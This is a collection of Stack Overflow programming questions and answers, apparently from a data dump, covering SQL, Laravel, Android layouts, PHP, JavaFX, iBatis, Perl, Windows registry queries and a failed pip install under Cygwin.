8403394	0	 <p>If you have multiple CTE's, they need to be at the beginning of your statement (comma-separated, and only one <code>;WITH</code> to start the list of CTE's):</p> <pre><code>;WITH CTE AS (......), [UserDefined] AS (.......) SELECT..... </code></pre> <p>and then you can use both (or even more than two) in your <code>SELECT</code> statement.</p>
33278078	0	How can I save a relationship entry to a pivot table in laravel? <p>I have created some relationships where 2 models work together, currently they are <code>Offer</code> and <code>OfferDay</code>. I have created 2 tables one for Offers and one for OfferDays. Here are the migrations:</p> <p>offers</p> <pre><code>class CreateOffersTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('offers', function(Blueprint $table) { $table-&gt;increments('id'); $table-&gt;string('offer_title'); $table-&gt;string('offer headline'); $table-&gt;string('offer_subheader'); $table-&gt;string('image'); $table-&gt;text('offer_terms'); $table-&gt;string('featured_date'); $table-&gt;boolean('is_featured'); $table-&gt;string('distance_to_offer'); $table-&gt;string('offer_end_time'); $table-&gt;string('offer_start_time'); $table-&gt;timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('offers'); } } </code></pre> <p>I then have a migration that runs to create the days for the relationship to work and this holds the day name and the day id in the table where I have seeded the database with days already. Here's the migration schema:</p> <p>offer_days</p> <pre><code>public function up() { Schema::create('offer_days', function(Blueprint $table) { $table-&gt;increments('id'); $table-&gt;string('day'); $table-&gt;timestamps(); }); } </code></pre> <p>This forms the basis of the relationships and the data we have got. The next bit is making them work and when adding an offer making sure I can populate the pivot table with the correct data that relates to offers and offer_days. Below are the 2 models I have got setup with all the correct <code>$fillable</code> attributes for the relationships to work:</p> <p>Offer</p> <pre><code> protected $fillable = ['id','venue_id','offer_day_id','offer_id','day','venue_address','is_featured','repeater_days','image', 'venue_description', 'offer_headline','offer_subheader','offer_terms','venue_phone_number','venue_website', 'venue_name', 'venue_headline','venue_description','venue_latitude','venue_longitude','days','offer_when','offer_end_time','offer_start_time','offer_start_date','offer_end_date','featured_date','current_time','current_date']; /** * Get the offers for the offer. */ public function offerdays() { return $this-&gt;belongsToMany('App\OfferDay', 'offer_day_offer', 'offer_day_id', 'offer_id'); } </code></pre> <p>OfferDay</p> <pre><code>protected $fillable = ['offer_id','offer_day_id']; /** * Get the offer days for the offer. */ public function offers() { //return $this-&gt;belongsToMany('App\Offer'); return $this-&gt;belongsToMany('App\Offer', 'offer_day_offer', 'offer_id', 'offer_day_id'); } </code></pre> <p>I have then created the pivot tables to correspond with this like so:</p> <pre><code>class CreateOfferDayOfferPivotTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('offer_day_offer', function (Blueprint $table) { $table-&gt;integer('offer_day_id')-&gt;unsigned()-&gt;index(); // $table-&gt;foreign('offer_day_id')-&gt;references('id')-&gt;on('offer_days')-&gt;onDelete('cascade'); $table-&gt;integer('offer_id')-&gt;unsigned()-&gt;index(); // $table-&gt;foreign('offer_id')-&gt;references('id')-&gt;on('offers')-&gt;onDelete('cascade'); $table-&gt;primary(['offer_day_id', 'offer_id']); }); Schema::table('offer_day_offer', function($table) { $table-&gt;foreign('offer_id')-&gt;references('id')-&gt;on('offers'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('offer_day_offer'); } } </code></pre> <p>In my controller I have setup the save method which should work like so:</p> <pre><code>if ($validation-&gt;fails()) { return redirect('offers')-&gt;with('message', $validation-&gt;errors()); } else { $file = Input::file('image'); $filename = date('Y-m-d-H')."-".$file-&gt;getClientOriginalName(); $path = public_path('images/offers/' . $filename); Image::make($file-&gt;getRealPath()) -&gt;save($path); $venue = Input::get('venue_id'); $day = Input::get('day'); $data['image'] = url('/') . '/' . 'images/offers/'.$filename; if($days){ $d = implode(',', $days); $data['days'] = $d; } $data['venue_id'] = $venue; $data['day'] = $day; $offer-&gt;offerdays()-&gt;attach(['offer_day_id' =&gt; 13, 'offer_id' =&gt; 530]); Offer::create( $data ); return redirect('offers')-&gt;with('message', 'Offer added!'); } </code></pre> <p>This <code>$offer-&gt;offerdays()-&gt;attach(['offer_day_id' =&gt; 13, 'offer_id' =&gt; 530]);</code> is the important bit but for some reason I am getting this error below:</p> <pre><code>SQLSTATE[23000]: Integrity constraint violation: 1452 Cannot add or update a child row: a foreign key constraint fails (`homestead`.`offer_day_offer`, CONSTRAINT `offer_day_offer_offer_id_foreign` FOREIGN KEY (`offer_id`) REFERENCES `offers` (`id`)) (SQL: insert into `offer_day_offer` (`offer_day_id`, `offer_id`) values (, 13), (, 530)) </code></pre> <p>Can someone try and shed light onto this?</p> <p>Thanks!</p>
37945146	0	 <p>So, essentially what you're doing here is dynamic dispatch. by specifying </p> <pre><code>Request request= new AddressRequest (); </code></pre> <p>what you're doing is saying this Request is an AddressRequest, but by calling it a Request you are unable to access the method for AddressRequest.</p> <p>A quick solution would be to Safe Cast -> If you're sure that you're dealing with and AddressRequest, then cast request as </p> <pre><code>(AddressRequest) request.setUserId("11"); </code></pre>
11091707	0	unable to get correct layout <p>Following is the layout of app. It has two views under <code>viewflipper</code>. In the second view, there are 3 rows, row 1 has 3 buttons, row 2 has a image and row 3 has 3 buttons. I want row 1 to be aligned with the top of screen, row 3 to be aligned with the bottom of screen and the image to take the rest of space in between. Could anybody tell me how to achieve that ?</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;LinearLayout android:id="@+id/LinearLayout01" android:layout_width="fill_parent" android:layout_height="fill_parent" xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical"&gt; &lt;ViewFlipper android:id="@+id/ViewFlipper01" android:layout_width="fill_parent" android:layout_height="fill_parent"&gt; &lt;!--adding views to ViewFlipper--&gt; &lt;!--view=1--&gt; &lt;LinearLayout android:layout_width="fill_parent" android:layout_height="fill_parent" android:orientation="vertical" &gt; &lt;TextView android:id="@+id/tv1" android:layout_width="match_parent" android:layout_height="wrap_content" android:text="@string/hello" &gt; &lt;/TextView&gt; &lt;VideoView android:id="@+id/myvideoview" android:layout_width="wrap_content" android:layout_height="match_parent" /&gt; &lt;Button android:id="@+id/b" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Button" /&gt; &lt;/LinearLayout&gt; &lt;!--view=2--&gt; &lt;LinearLayout android:layout_width="fill_parent" android:layout_height="fill_parent" android:orientation="vertical" &gt; &lt;!--row 1--&gt; &lt;RelativeLayout android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_alignParentTop="true" xmlns:android="http://schemas.android.com/apk/res/android" &gt; &lt;Button android:id="@+id/button1" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentLeft="true" android:text="Back" /&gt; &lt;Button android:id="@+id/button3" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentRight="true" android:text="Upload to Facebook" /&gt; &lt;Button android:id="@+id/button2" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_toLeftOf="@id/button3" android:text="Save" /&gt; &lt;/RelativeLayout&gt; &lt;!--row 2--&gt; &lt;RelativeLayout android:layout_width="wrap_content" android:layout_height="wrap_content" &gt; &lt;ImageView android:id="@+id/img" android:layout_width="wrap_content" android:layout_height="wrap_content" /&gt; &lt;/RelativeLayout&gt; &lt;!--row 3--&gt; &lt;RelativeLayout android:layout_width="wrap_content" android:layout_height="wrap_content" &gt; &lt;Button android:id="@+id/button4" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Previous" /&gt; &lt;Spinner android:id="@+id/spinner" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_toRightOf="@id/button4"&gt; &lt;/Spinner&gt; &lt;Button android:id="@+id/button5" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_toRightOf="@id/spinner" android:text="Next" /&gt; &lt;/RelativeLayout&gt; &lt;/LinearLayout&gt; &lt;/ViewFlipper&gt; &lt;/LinearLayout&gt; </code></pre>
21635255	0	 <p>Use the <a href="http://php.net/datetime" rel="nofollow">DateTime</a> classes, They are directly comparable and very useful.</p> <pre><code>$test_date= DateTime::createFromFormat('d/m/y', "08/02/2012"); $todays_date = new DateTime(); if($test_date &lt; $todays_date){ echo "Past"; } else { echo "Future"; } </code></pre> <p><a href="http://3v4l.org/kZnCX" rel="nofollow">See it working</a>.</p>
38487553	0	 <p>I would go with the first option as it makes little sense to make different actions just for filtering articles/content.</p> <p>Also using enums in the route doesn't seem to be the perfect choice. Meaningful strings are better.</p>
8281199	0	 <p>You have to decompress the gzip-file, that step is missing. Try this: <a href="http://stackoverflow.com/questions/1581694/gzipstream-and-decompression">GZipStream and decompression</a></p>
17770510	0	sum of date difference of different id in sql <p>I have user defined function like this:</p> <pre><code>create FUNCTION dbo.FormattedTimeDiff (@Date1 DATETIME, @Date2 DATETIME) RETURNS VARCHAR(10) AS BEGIN DECLARE @DiffSeconds INT = sum(DATEDIFF(SECOND, @Date1, @Date2) ) DECLARE @DiffHours INT = @DiffSeconds / 3600 DECLARE @DiffMinutes INT = (@DiffSeconds - (@DiffHours * 3600)) / 60 DECLARE @RemainderSeconds INT = @DiffSeconds % 60 DECLARE @ReturnString VARCHAR(10) SET @ReturnString = RIGHT('00' + CAST(@DiffHours AS VARCHAR(2)), 2) + ':' + RIGHT('00' + CAST(@DiffMinutes AS VARCHAR(2)), 2) + ':' + RIGHT('00' + CAST(@RemainderSeconds AS VARCHAR(2)), 2) RETURN @ReturnString END </code></pre> <p>I try execute out put like this:</p> <pre><code>SELECT t.vtid, dbo.FormattedTimeDiff(PayDate, DelDate) FROM dbo.Transaction_tbl t where t.Locid = 5 </code></pre> <p>but I am getting output like this:</p> <pre><code>vtid ----------- ---------- 7 00:21:42 7 01:05:30 7 00:37:43 7 NULL 8 00:00:42 8 00:07:25 7 00:25:36. </code></pre> <p>I want to get sum of date difference of vtid 7 and 8</p> <p>Expected output:</p> <pre><code>vtid 7 01:25:45 8 00:07:45 </code></pre> <p>I tried giving group by but showing error, so where I have to made changes in my stored procedure?</p>
26275154	0	How to change url based on input type selected using javaScript/Jquery? <p>I have a form </p> <pre><code> &lt;form name="categoryform" method="post"&gt; Category:&lt;select name="category" id="category" &gt; &lt;option value="games"&gt;games&lt;/option&gt; &lt;option value="books"&gt;books&lt;/option&gt; &lt;option value="toys"&gt;toys&lt;/option&gt; &lt;option value="clothes"&gt;clothes&lt;/option&gt; &lt;/select&gt; Age: &lt;select multiple name="age" id="age" &gt; &lt;option value="5"&gt;5&lt;/option&gt; &lt;option value="10"&gt;10&lt;/option&gt; &lt;option value="15"&gt;15&lt;/option&gt; &lt;/select&gt; &lt;input type="submit" name="submit" value="submit"/&gt; &lt;/form&gt; </code></pre> <p>Initially the url is <code>http://localhost/childzone/</code></p> <p>If I select the option <code>books</code> from Category the URL must change to <code>http://localhost/childzone/books</code> and when I select option <code>clothes</code> the url must be <code>http://localhost/childzone/clothes</code>.</p> <p>If I also select age=5 from the dropdown <code>age</code> the url must be <code>http://localhost/childzone/clothes&amp;age=5</code>. For multiple options selected i.e, if I select 5 and 10 both from <code>age</code> the url must be <code>http://localhost/childzone/clothes&amp;age=5,10</code>.</p> <p>How do I get such a URL. I am new to php, can anyone help. Thank you in advance</p>
6820096	0	Dismiss ModalView does not work here <p>So I have a tabBarController as a modalview, and it shows up fine. As I click some of the tabs, the views are loading properly. I want to dismiss the modalView when I click on <code>tabBarController.selectedIndex ==4</code></p> <p>So I write in the <code>viewDidLoad</code> and also tried in the <code>viewWillAppear</code> of that view controller to <code>dismissModalViewController</code> and it does not work.</p> <p>I tried</p> <pre><code>[self.parentViewController dismissModalViewControllerAnimated:YES]; // ... And also // [self dismissModalViewControllerAnimated:YES]; </code></pre> <p>Could someone point out why it does not work ?</p>
17586806	0	 <ol> <li>Run you app. In debug are you can find "Simulate location" button <img src="https://i.stack.imgur.com/O6Cxn.png" alt="enter image description here"></li> </ol> <p>2.You can select one of default locations (here is list)</p> <p><img src="https://i.stack.imgur.com/O00ka.png" alt="enter image description here"></p> <p>If you need a custom location </p> <p>Create new file : File -> New ->File (Resources tab) GPX file click (at the bottom of locations list) "Add GPX File to workspace"</p> <ol start="3"> <li>Go to this <a href="http://itouchmap.com/latlong.html" rel="nofollow noreferrer">website</a> and get Latitude and Longitude of a Point that you need.</li> <li>Edit GPX file that you have created.</li> <li>Open "Simulate Location", the same as in step 1, and Your location from GPX file will be available in the list.The name of location will be same same as a name of the file. </li> </ol>
6677391	0	sencha touch :: how to make store sorter ignore if first letter is small or capitalized <p>I wonder how to make store sorters ignore if the first letter of a name is small or capitalized? I want to have the list items with the same first letter be grouped together or at least having the small first letter beneath the capitalized and not like it is initially first having a list ob capitalized names and the following the list of small first letters.</p> <p>I found something like</p> <pre><code>var sorter = new Ext.util.Sorter({ property : 'myField', sorterFn: function(o1, o2) { // compare o1 and o2 } }); var store = new Ext.data.Store({ model: 'myModel', sorters: [sorter] }); store.sort(); </code></pre> <p>which could be usefull.</p> <p>thanx!</p> <p>edit: this seems to work:</p> <pre><code>var mySubStore = app.stores.myStore.findRecord('id', recordID).websites(); app.stores.myStore.findRecord('id', recordID).websites().getGroupString = function(instance) { return instance.get('name')[0].toUpperCase(); }; var sorter = new Ext.util.Sorter({ property : 'name', sorterFn: function(o1, o2) { var v1 = this.getRoot(o1).get(this.property).toLowerCase(), v2 = this.getRoot(o2).get(this.property).toLowerCase(); return v1 &gt; v2 ? 1 : (v1 &lt; v2 ? -1 : 0); }, clear: function(){} }); //mySubStore.sorters = [sorter]; mySubStore.sort(sorter); </code></pre>
15731615	0	 <p>a simple option is to combine the two scripts</p>
8487729	0	Asp.net 3.0 and 64 bit sqlite dll file <p>Greetings!</p> <p>I am developing Asp.net application, in which i need to use sqlite as database, i tried to add reference to 64 bit dll file System.Data.SQlite file. When i run my application it shows as below error Error 1 Could not load file or assembly 'SQLite' or one of its dependencies. An attempt was made to load a program with an incorrect format. </p> <p>What will be the reason for this, and how can i fix this.I am using visual studio 2010.</p> <p>Thanks in advance sangita</p>
33846225	0	 <p>As @jewelsea suggests, setting the modality and owner for the alert box will assure that the alert will appear over the stage, even if the stage is moved.</p> <pre><code>import javafx.application.Application; import javafx.collections.FXCollections; import javafx.collections.ObservableList; import javafx.event.ActionEvent; import javafx.scene.Scene; import javafx.scene.control.Alert; import javafx.scene.control.Button; import javafx.scene.control.ButtonType; import javafx.scene.control.ListView; import javafx.scene.layout.BorderPane; import javafx.stage.Modality; import javafx.stage.Stage; public class DeleteAlertDemo extends Application { Stage owner; ObservableList&lt;String&gt; observablePlantList; ListView&lt;String&gt; plantList; protected void handleDeleteButtonClick(ActionEvent event) { String item = plantList.getSelectionModel().getSelectedItem(); Alert alertBox = new Alert(Alert.AlertType.CONFIRMATION, "Confirm Delete", ButtonType.OK, ButtonType.CANCEL); alertBox.setContentText("Are you sure you want to delete this " + item.toLowerCase() + "?"); alertBox.initModality(Modality.APPLICATION_MODAL); /* *** */ alertBox.initOwner(owner); /* *** */ alertBox.showAndWait(); if (alertBox.getResult() == ButtonType.OK) { int selectedPlant = plantList.getSelectionModel().getSelectedIndex(); observablePlantList.remove(selectedPlant); } else { alertBox.close(); } } @Override public void start(Stage primaryStage) { owner = primaryStage; /* *** */ Button deleteBtn = new Button(); deleteBtn.setText("Delete"); deleteBtn.setOnAction(this::handleDeleteButtonClick); observablePlantList = FXCollections.observableArrayList("Begonia", "Peony", "Rose", "Lilly", "Chrysanthemum", "Hosta"); plantList = new ListView&lt;&gt;(observablePlantList); plantList.getSelectionModel().select(0); BorderPane root = new BorderPane(); root.setCenter(plantList); root.setRight(deleteBtn); Scene scene = new Scene(root, 300, 250); primaryStage.setTitle("Delete Alert Demo"); primaryStage.setScene(scene); primaryStage.show(); } /** * @param args the command line arguments */ public static void main(String[] args) { launch(args); } } </code></pre>
12085296	0	java.sql.SQLException: Already closed error with IBatis 2.3.4 <p>I am seeing a strange behavior in the code. I am using Spring DI for getting connection. Following is my ibatis-context.xml </p> <pre><code>&lt;bean id="dataSource" class="org.apache.commons.dbcp.BasicDataSource" destroy-method="close"&gt; &lt;property name="driverClassName" value="oracle.jdbc.driver.OracleDriver" /&gt; &lt;property name="url" value="jdbc:oracle:thin:@hostname:port:dbname" /&gt; &lt;property name="username" value="$usrname" /&gt; &lt;property name="password" value="$pwd" /&gt; &lt;property name="initialSize" value="1"/&gt; &lt;property name="maxActive" value="1"/&gt; &lt;property name="maxIdle" value="1"/&gt; &lt;property name="testWhileIdle" value="true"/&gt; &lt;property name="minEvictableIdleTimeMillis" value="500"/&gt; &lt;property name="timeBetweenEvictionRunsMillis" value="500"/&gt; &lt;property name="validationQuery" value="select 1 from dual"/&gt; &lt;/bean&gt; </code></pre> <p>When i execute first query, it returns me the ResultSet. But when i execute second query with the same connection, it throws me error(java.sql.SQLException: Already closed).<br> <code>code</code> </p> <pre><code> try { // First Query personList = sqlMap.queryForList("getPersonList", parameterMap); } catch (Exception e) { e.printStackTrace(); } try { // Second Query firstNameList = sqlMap.queryForList("getfirstNameList", parameterMap); } catch (Exception e) { e.printStackTrace(); } </code></pre> <p>The same code and configuration works fine few days before but now i am getting error.<br> The stack trace of the issue. </p> <pre><code>java.sql.SQLException: Already closed. at org.apache.commons.dbcp.PoolableConnection.close(PoolableConnection.java:114) at org.apache.commons.dbcp.PoolingDataSource$PoolGuardConnectionWrapper.close(PoolingDataSource.java:191) at org.springframework.jdbc.datasource.DataSourceUtils.doReleaseConnection(DataSourceUtils.java:278) at org.springframework.jdbc.datasource.TransactionAwareDataSourceProxy$TransactionAwareInvocationHandler.invoke(TransactionAwareDataSourceProxy.java:160) at $Proxy10.close(Unknown Source) at com.ibatis.sqlmap.engine.transaction.external.ExternalTransaction.close(ExternalTransaction.java:82) at com.ibatis.sqlmap.engine.transaction.TransactionManager.end(TransactionManager.java:93) at com.ibatis.sqlmap.engine.impl.SqlMapExecutorDelegate.endTransaction(SqlMapExecutorDelegate.java:734) at com.ibatis.sqlmap.engine.impl.SqlMapSessionImpl.endTransaction(SqlMapSessionImpl.java:176) at com.ibatis.sqlmap.engine.impl.SqlMapClientImpl.endTransaction(SqlMapClientImpl.java:153) at com.ibatis.sqlmap.engine.impl.SqlMapExecutorDelegate.autoEndTransaction(SqlMapExecutorDelegate.java:835) at com.ibatis.sqlmap.engine.impl.SqlMapExecutorDelegate.queryForList(SqlMapExecutorDelegate.java:574) at com.ibatis.sqlmap.engine.impl.SqlMapExecutorDelegate.queryForList(SqlMapExecutorDelegate.java:541) at com.ibatis.sqlmap.engine.impl.SqlMapSessionImpl.queryForList(SqlMapSessionImpl.java:118) at com.ibatis.sqlmap.engine.impl.SqlMapClientImpl.queryForList(SqlMapClientImpl.java:94) at org.junit.internal.runners.TestMethodRunner.executeMethodBody(TestMethodRunner.java:99) at org.junit.internal.runners.TestMethodRunner.runUnprotected(TestMethodRunner.java:81) at org.junit.internal.runners.BeforeAndAfterRunner.runProtected(BeforeAndAfterRunner.java:34) at org.junit.internal.runners.TestMethodRunner.runMethod(TestMethodRunner.java:75) at org.junit.internal.runners.TestMethodRunner.run(TestMethodRunner.java:45) at org.junit.internal.runners.TestClassMethodsRunner.invokeTestMethod(TestClassMethodsRunner.java:71) at org.junit.internal.runners.TestClassMethodsRunner.run(TestClassMethodsRunner.java:35) at org.junit.internal.runners.TestClassRunner$1.runUnprotected(TestClassRunner.java:42) at org.junit.internal.runners.BeforeAndAfterRunner.runProtected(BeforeAndAfterRunner.java:34) at org.junit.internal.runners.TestClassRunner.run(TestClassRunner.java:52) at org.eclipse.jdt.internal.junit4.runner.JUnit4TestReference.run(JUnit4TestReference.java:49) at org.eclipse.jdt.internal.junit.runner.TestExecution.run(TestExecution.java:38) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:467) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:683) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.run(RemoteTestRunner.java:390) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.main(RemoteTestRunner.java:197) </code></pre> <p>Is it code issue or database issue?<br> Anyone have solution for this?</p>
3802067	0	 <p>just read the list from *.sln file. There are "Project"-"EndProject" sections. <br>Here is <a href="http://msdn.microsoft.com/en-US/library/bb165951%28v=VS.90%29.aspx" rel="nofollow">an article from MSDN.</a></p>
36078747	0	 <p>You need to make the function doSomething like below, pass null for btn_b and pass value for btn_a. Hope this helps.</p> <p><strong>HTML</strong></p> <pre><code>&lt;input type="button" id="btn_a"&gt; &lt;input type="button" id="btn_b"&gt; </code></pre> <p><strong>SCRIPT</strong></p> <pre><code>$("#btn_a").on("click", function() { return doSomething(p,q,r); }); $("#btn_b").on("click", function() { return doSomething(p,q,null); }); function doSomething(p,q,r){ if(r != null){ //do something for btn_a and return } else { //do something for btn_b and return } } </code></pre>
31790012	0	 <p>The <code>RedirectsUsers</code> class is a trait so you cloud override the <code>redirectPath</code> method in your <code>AuthController</code>, to do so just copy the method and paste it in your <code>AuthController</code> making the modifications you need, something like this.</p> <pre><code>/** * Get the post register / login redirect path. * * @return string */ public function redirectPath() { return route('home'); } </code></pre>
39128801	0	Soot Framework Intraprocedural Graph Traverse Giving Exception: Invalid Unit <ol> <li>I am traversing body of methods using soot framework. So, I get a directed graph of the method body, together with other method calls that are inside the body. I want to traverse this new method and so on. Can somebody help with this recursion logic.</li> <li>After writing recursion logic it gives me <code>NoSuchElementException: Invalid unit return</code>.</li> </ol>
25125597	0	 <pre><code>my $_pCombos = [ [{row =&gt; 9,col =&gt; 0},{row =&gt; 1,col =&gt; 9},{row =&gt; 1,col =&gt; 2},{row =&gt; 1,col =&gt; 3},{row =&gt; 1,col =&gt; 4}], [{row =&gt; 0,col =&gt; 0},{row =&gt; 0,col =&gt; 1},{row =&gt; 0,col =&gt; 2},{row =&gt; 0,col =&gt; 3},{row =&gt; 0,col =&gt; 4}], [{row =&gt; 2,col =&gt; 0},{row =&gt; 2,col =&gt; 1},{row =&gt; 2,col =&gt; 2},{row =&gt; 2,col =&gt; 3},{row =&gt; 2,col =&gt; 4}], [{row =&gt; 0,col =&gt; 0},{row =&gt; 1,col =&gt; 1},{row =&gt; 2,col =&gt; 2},{row =&gt; 1,col =&gt; 3},{row =&gt; 0,col =&gt; 4}], ]; print $_pCombos-&gt;[0][0]{row}, "\n"; print $_pCombos-&gt;[0][1]{col}, "\n"; </code></pre> <p>will print</p> <pre><code>9 9 </code></pre> <p>if you want to maintain the javascript syntax, you can use json, like this:</p> <pre><code>use JSON::XS; my $_pCombos_JSON_normalized = &lt;&lt;'END'; [ [{"row":9,"col":0},{"row":1,"col":9},{"row":1,"col":2},{"row":1,"col":3},{"row":1,"col":4}], [{"row":0,"col":0},{"row":0,"col":1},{"row":0,"col":2},{"row":0,"col":3},{"row":0,"col":4}], [{"row":2,"col":0},{"row":2,"col":1},{"row":2,"col":2},{"row":2,"col":3},{"row":2,"col":4}], [{"row":0,"col":0},{"row":1,"col":1},{"row":2,"col":2},{"row":1,"col":3},{"row":0,"col":4}] ] END my $_pCombos = decode_json($_pCombos_JSON_normalized); print $_pCombos-&gt;[0][0]{row}, "\n"; print $_pCombos-&gt;[0][1]{col}, "\n"; </code></pre> <p>will also print</p> <pre><code>9 9 </code></pre>
18472197	0	 <p>It is not. One is in seconds, the others in in microseconds, you you need to scale:</p> <pre><code>1393031459 &gt; (1377624200429 / 1000) </code></pre> <p>nsICookie2:</p> <pre><code>/** * the actual expiry time of the cookie, in seconds * since midnight (00:00:00), January 1, 1970 UTC. * * this is distinct from nsICookie::expires, which * has different and obsolete semantics. */ readonly attribute int64_t expiry; /** * the creation time of the cookie, in microseconds * since midnight (00:00:00), January 1, 1970 UTC. */ readonly attribute int64_t creationTime; /** * the last time the cookie was accessed (i.e. created, * modified, or read by the server), in microseconds * since midnight (00:00:00), January 1, 1970 UTC. * * note that this time may be approximate. */ readonly attribute int64_t lastAccessed; </code></pre> <p>Admittedly, it is quite confusing to use different time units. :p</p>
21841604	0	 <p>Waffle is drop in solution that can be used with springsecurity to achieve this: <a href="https://github.com/dblock/waffle" rel="nofollow">https://github.com/dblock/waffle</a></p> <p>I've used it myself with for example hybris. They have some examples. Beware of version 1.5 that uses jna3.5 which can cause problems at high load Also beware that you may need to extend negotiatesecurityfilter if our application needs to do authorization(I had to do that, may be fixed in 1.6.</p>
10188425	0	 <p>I think <a href="http://developer.apple.com/library/ios/#samplecode/PhotoScroller/Introduction/Intro.html#//apple_ref/doc/uid/DTS40010080-Intro-DontLinkElementID_2" rel="nofollow">this</a> will solve your problem. This question may give you some context:</p> <p><a href="http://stackoverflow.com/questions/4914427/how-to-reuse-recycle-custom-custom-element-like-uitableviewcell-does">How to reuse/recycle custom custom element like uitableviewcell does?</a></p>
29556702	0	 <p><code>IsInRange</code> is a function template, not a class template, so an instantiation of it is not a type, so you can't create a typedef for it.</p>
16775346	0	 <p>This will work:</p> <pre><code>var re = /^FIXED(?:-[a-zA-Z0-9]{4}){3}$/; </code></pre> <p>You could as well use the charactergroup <code>\w</code> which usually is pretty much equivalent to <code>[a-zA-Z0-9]</code> but that might contain several characters (ASCII &lt;> UTF) you might not want to have.</p>
27465985	0	Accessing Output From C# Code <p>I am running this code in C# in VS2013 which I got from here: <a href="http://tda.codeplex.com/" rel="nofollow">http://tda.codeplex.com/</a>. The code is supposed to gather data from my TD Ameritrade 401k account. The code is running fine but where is the outputted data from the code below being saved at? How do I access it? </p> <pre><code>namespace TDAmeritrade.Samples { using System; using TDAmeritrade; class Program { static void Main() { // Initialize TD Ameritrade client, provide additional config info if needed var client = new TDAClient(); // Log in to the TD Ameritrade website with your user ID and password client.LogIn("jessicasusername", "jessicaspassword"); // Now 'client.User' property contains all the information about currently logged in user var accountName = client.User.Account.DisplayName; // Get stock quotes snapshot. var quotes = client.GetQuotes("GOOG, AAPL, $SPX.X, DUMMY"); // 'quotes.Error' contains a list of symbols which have not been found var errors = quotes.Errors; // Find symbols matching the search string var symbols = client.FindSymbols("GOO"); // Get historical prices var prices = client.GetHistoricalPrices("GOOG, AAPL", StartDate: DateTime.Today.AddDays(-7), EndDate: DateTime.Today.AddDays(-1)); } } } </code></pre> <p><strong>Update: Placed this code below</strong>:</p> <pre><code>PM&gt; Install-Package Newtonsoft.Json // Change the file path to wherever you wish to save the results const string SaveFileToLocation = @"C:\Users\jessica\Desktop\json_data"; string json = JsonConvert.SerializeObject(prices, Formatting.Indented); using (StreamWriter writer = new StreamWriter(SaveFileToLocation)) { writer.Write(json); } </code></pre>
30647476	0	Extracting specific registry key from REG QUERY based on search string <p>I am trying to extract the key value of a registry entry. I only want the key which I have been trying to concatenate using FOR /F, however had no luck.</p> <p><strong>Eg: the command</strong></p> <p>REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s /f chrome</p> <p><strong>returns</strong></p> <p>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall{157F97DF-A001-36FB-A90C-55949FA130CA} DisplayName REG_SZ Google Chrome</p> <p>End of search: 1 match(es) found.</p> <hr> <p>All that I want from this result is <strong>157F97DF-A001-36FB-A90C-55949FA130CA</strong></p> <p>How can I do this using FOR /F or other similar methods?</p> <p>Many thanks!!</p>
34001277	0	pip install in Cygwin cannot find file error <p>I am on a Mac OS El Capitan, running a Windows 10 64-bit VM inside Parallels. I have Cygwin installed and Anaconda3. I would like to install two packages (pyrsistent and rpy2) using pip. Both of them throw an error "error: [WinError 2] The system cannot find the file specified" without specifying the file it can't find.</p> <p>Here's the output:</p> <pre><code>$ pip install pyrsistent Collecting pyrsistent Using cached pyrsistent-0.11.9.tar.gz Requirement already satisfied (use --upgrade to upgrade): six in c:\anaconda3\lib\site-packages (from pyrsistent) Building wheels for collected packages: pyrsistent Running setup.py bdist_wheel for pyrsistent Complete output from command C:\Anaconda3\python.exe -c "import setuptools;__file__='C:\\cygwin64\\tmp\\pip-build-sqcinj9m\\pyrsistent\\setup.py';exec(compile(open(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" bdist_wheel -d C:\cygwin64\tmp\tmpn25raothpip-wheel-: running bdist_wheel running build running build_py creating build creating build\lib.win-amd64-3.5 copying _pyrsistent_version.py -&gt; build\lib.win-amd64-3.5 creating build\lib.win-amd64-3.5\pyrsistent copying pyrsistent\_checked_types.py -&gt; build\lib.win-amd64-3.5\pyrsistent copying pyrsistent\_field_common.py -&gt; build\lib.win-amd64-3.5\pyrsistent copying pyrsistent\_helpers.py -&gt; build\lib.win-amd64-3.5\pyrsistent copying pyrsistent\_immutable.py -&gt; build\lib.win-amd64-3.5\pyrsistent copying pyrsistent\_pbag.py -&gt; build\lib.win-amd64-3.5\pyrsistent copying pyrsistent\_pclass.py -&gt; build\lib.win-amd64-3.5\pyrsistent copying pyrsistent\_pdeque.py -&gt; build\lib.win-amd64-3.5\pyrsistent copying pyrsistent\_plist.py -&gt; build\lib.win-amd64-3.5\pyrsistent copying pyrsistent\_pmap.py -&gt; build\lib.win-amd64-3.5\pyrsistent copying pyrsistent\_precord.py -&gt; build\lib.win-amd64-3.5\pyrsistent copying pyrsistent\_pset.py -&gt; build\lib.win-amd64-3.5\pyrsistent copying pyrsistent\_pvector.py -&gt; build\lib.win-amd64-3.5\pyrsistent copying pyrsistent\_transformations.py -&gt; build\lib.win-amd64-3.5\pyrsistent copying pyrsistent\__init__.py -&gt; build\lib.win-amd64-3.5\pyrsistent running build_ext building 'pvectorc' extension error: [WinError 2] The system cannot find the file specified ---------------------------------------- Failed building wheel for pyrsistent Failed to build pyrsistent Installing collected packages: pyrsistent Running setup.py install for pyrsistent Complete output from command C:\Anaconda3\python.exe -c "import setuptools, 